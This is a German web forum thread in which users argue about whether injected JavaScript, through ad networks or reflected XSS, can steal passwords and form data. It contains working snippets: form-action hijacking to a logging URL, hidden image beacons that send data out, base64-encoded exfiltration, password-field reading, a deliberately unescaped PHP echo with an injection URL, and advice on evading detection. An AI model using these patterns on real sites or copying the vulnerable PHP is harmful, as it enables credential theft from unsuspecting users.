Da müsste man ansetzen, wenn der Browser die Datei holen soll (aus welchem Grund auch immer). Ein JavaScript hat ja content-type text/javascript. Daran kannst du ein JavaScript erkennen und entsprechend handeln.
Ich kann den Titel meinetwegen gerne abändern.
Einfach mal
in die Adressleiste eintippen (nur mit firefox getestet, kommt dem ausführen als script gleich) und ein Form absendenCode:javascript:(function() {var intercepted = 'https://example.com/log_whole_request';for(i=0;i<document.forms.length;i++){document.forms[i].action=intercepted;}})()
Du meinst nicht ehrlich, dass ein JS mir am Browser vorgaukeln wird, dass mein Schloss Symbol für SSL aufläuchtet? - Schon mal IE7 probiert? Antiphising schlägt Alarm.
Ich habe ja primär nicht an a) erfahrene User und somit auch nicht an b) https gedacht. Und Zugriff auf das Passwortfeld kriege ich (zumindest im FF) problemlos.
Nunja, rein theoretisch mal angenommen, ich hätte ein Werbenetzwerk und würde den Usern anbieten, per externem JS ein Random-Popup/Banner/Layer/whatever einzubinden. Du bist wirklich der Ansicht, dass mehr als 5% merken würden, dass da was nicht geplantes im Hintergrund passiert?
Man kann es ja locker weniger nachvollziehbar machen. Ohne übergebenen Referer (also allem Anschein nach bei Direktaufruf) wird das normale Script rausgehauen und sonst auch nur bei jedem x. Aufruf das schädliche Script. Somit sinken die Chancen, entdeckt zu werden, garantiert wieder um einen nicht unerheblichen Faktor.
Nein?
var frame = document.createElement("iframe");
frame.style.display = "none";
var img = document.createElement("img");
img.src = "https://www.example.org/noharm.jpg?beispiel=daten";
frame.appendChild( img );
document.getElementsByTagName("body")[0].appendChild( frame );
switch($_GET['seite']) {
case 'main':
echo 'haupt seite';
break;
default:
echo $_GET['seite'].' nicht gefunden';
}https://example.de/index.php?seite=<script src="https://externerhost.de/bösesscript.js"></script>neh überhaupt nicht
wenn ich an den md5 hash komme, dann komm ich auch an das klartext passwort... ne sicherhheitslücke ist da, also muss man sich bloss ein wenig klüger anstellen.
Wenn du einen Werbnetzwerk hast, bist du auch für dessen Verlinkung verantwortlich, also bringt dir die Ausrede "kann nichts für" garnichts. Selbiges Problem wurde bereits bei SWF Filmen behoben. Das wesentlich entscheidende ist ja, dass du keine "password" Formular Daten abschleppen kannst. Gut wenn das beim FIFO geht, was ich bislang nicht wusste, dann würde ich den Browser bis zum Patch garnicht erst nutzen.
Wenn du das erstmal hinbekommst, dann kannst du mir sagen, dass ich kein Plan hab. Plan muss man schon haben.Ich würde in Zukunft mal meine Behauptungen überprüfen, wenn Du schon zum zweiten Mal damit argumentierst. Ich hab's grad ausprobiert. Im IE (selbst auf höchster Sicherheitsstufe), im Firefox und im Opera ist es problemlos möglich, das Passwort aus einem input[type="password"] per Javascript auszulesen.
<html>
<head>
<script type="text/javascript">
function checkPwd() {
var form = document.getElementsByTagName("form")[0];
var inputs = form.getElementsByTagName("input");
for (var i = 0; i < inputs.length; i++) {
if (inputs[i].type != "password") {
continue;
}
alert(inputs[i].value);
}
}
</script>
<title>Foo</title>
</head>
<body>
<form action="" method="post" onsubmit="checkPwd();">
<fieldset>
<legend>Test</legend>
<label for="nickname">Nickname:</label><br/>
<input type="text" id="nickname" name="nickname" value=""/><br/>
<label for="password">Passwort:</label><br/>
<input type="password" id="password" name="password" value=""/><br/>
<input type="submit" name="submit" value="Abschicken"/>
</fieldset>
</form>
</body>
</html>It's not a bug, it's a feature! Und der IE bietet das auch, denn wie sonst sollte sich denn sonst ein JS-"Passwortschutz" realisieren lassen, wenn man mit JS nicht an den Inhalt des Passwortfeldes käme?
Man muss ja nicht unbedingt GET-Parameter verwenden, du kannst z.B. alle Daten base64-codieren und dann https://example.com/RGFzIHNpbmQgZGllIERhdGVu/bild.gif aufrufen (hier ist der String "Das sind die Daten" codiert). Klar lassen sich auch externe Bilder blocken, aber wenn es wie oben gesagt um ein Werbenetzwerk geht wird das wohl nicht der Fall sein.
Ob der schon bei einem so harmlos aussehenden Bild Alarm schlägt?
Hier liegst du leider Falsch
Selfhtml
ich glaube, du hast Null Plan, was "Hacken" überhaupt bedeutet.ABC schrieb:
alert(document.getElementById('passwortfeld').value);switch($_GET['seite']) {
case 'main':
echo 'haupt seite';
break;
default:
echo $_GET['seite'].' nicht gefunden';
}Wir können das, was du auf der fremden Seite eingibst (Passwörter, Kreditkartendetails, etc.), auslesen und uns zukommen lassen.
Du kannst aber den "gefakten" Link verbreiten, so dass auch andere dein JS "untergejubelt" bekommen. Auswirkungen siehe oben.Wer sich das liogisch anschut:
Der braucht doch nicht lange zu überlegen. Was gibt es hier für ein Problem? Ich kann doch hier nur den JS mir selbst unterjubeln.PHP:switch($_GET['seite']) { case 'main': echo 'haupt seite'; break; default: echo $_GET['seite'].' nicht gefunden'; }
Ja und, der Webmaster kann ruhig wissen, dass mein "böses" Javascript auf irgendeinem Freespace liegt, an mich kommt er dadurch jedoch nicht ran.
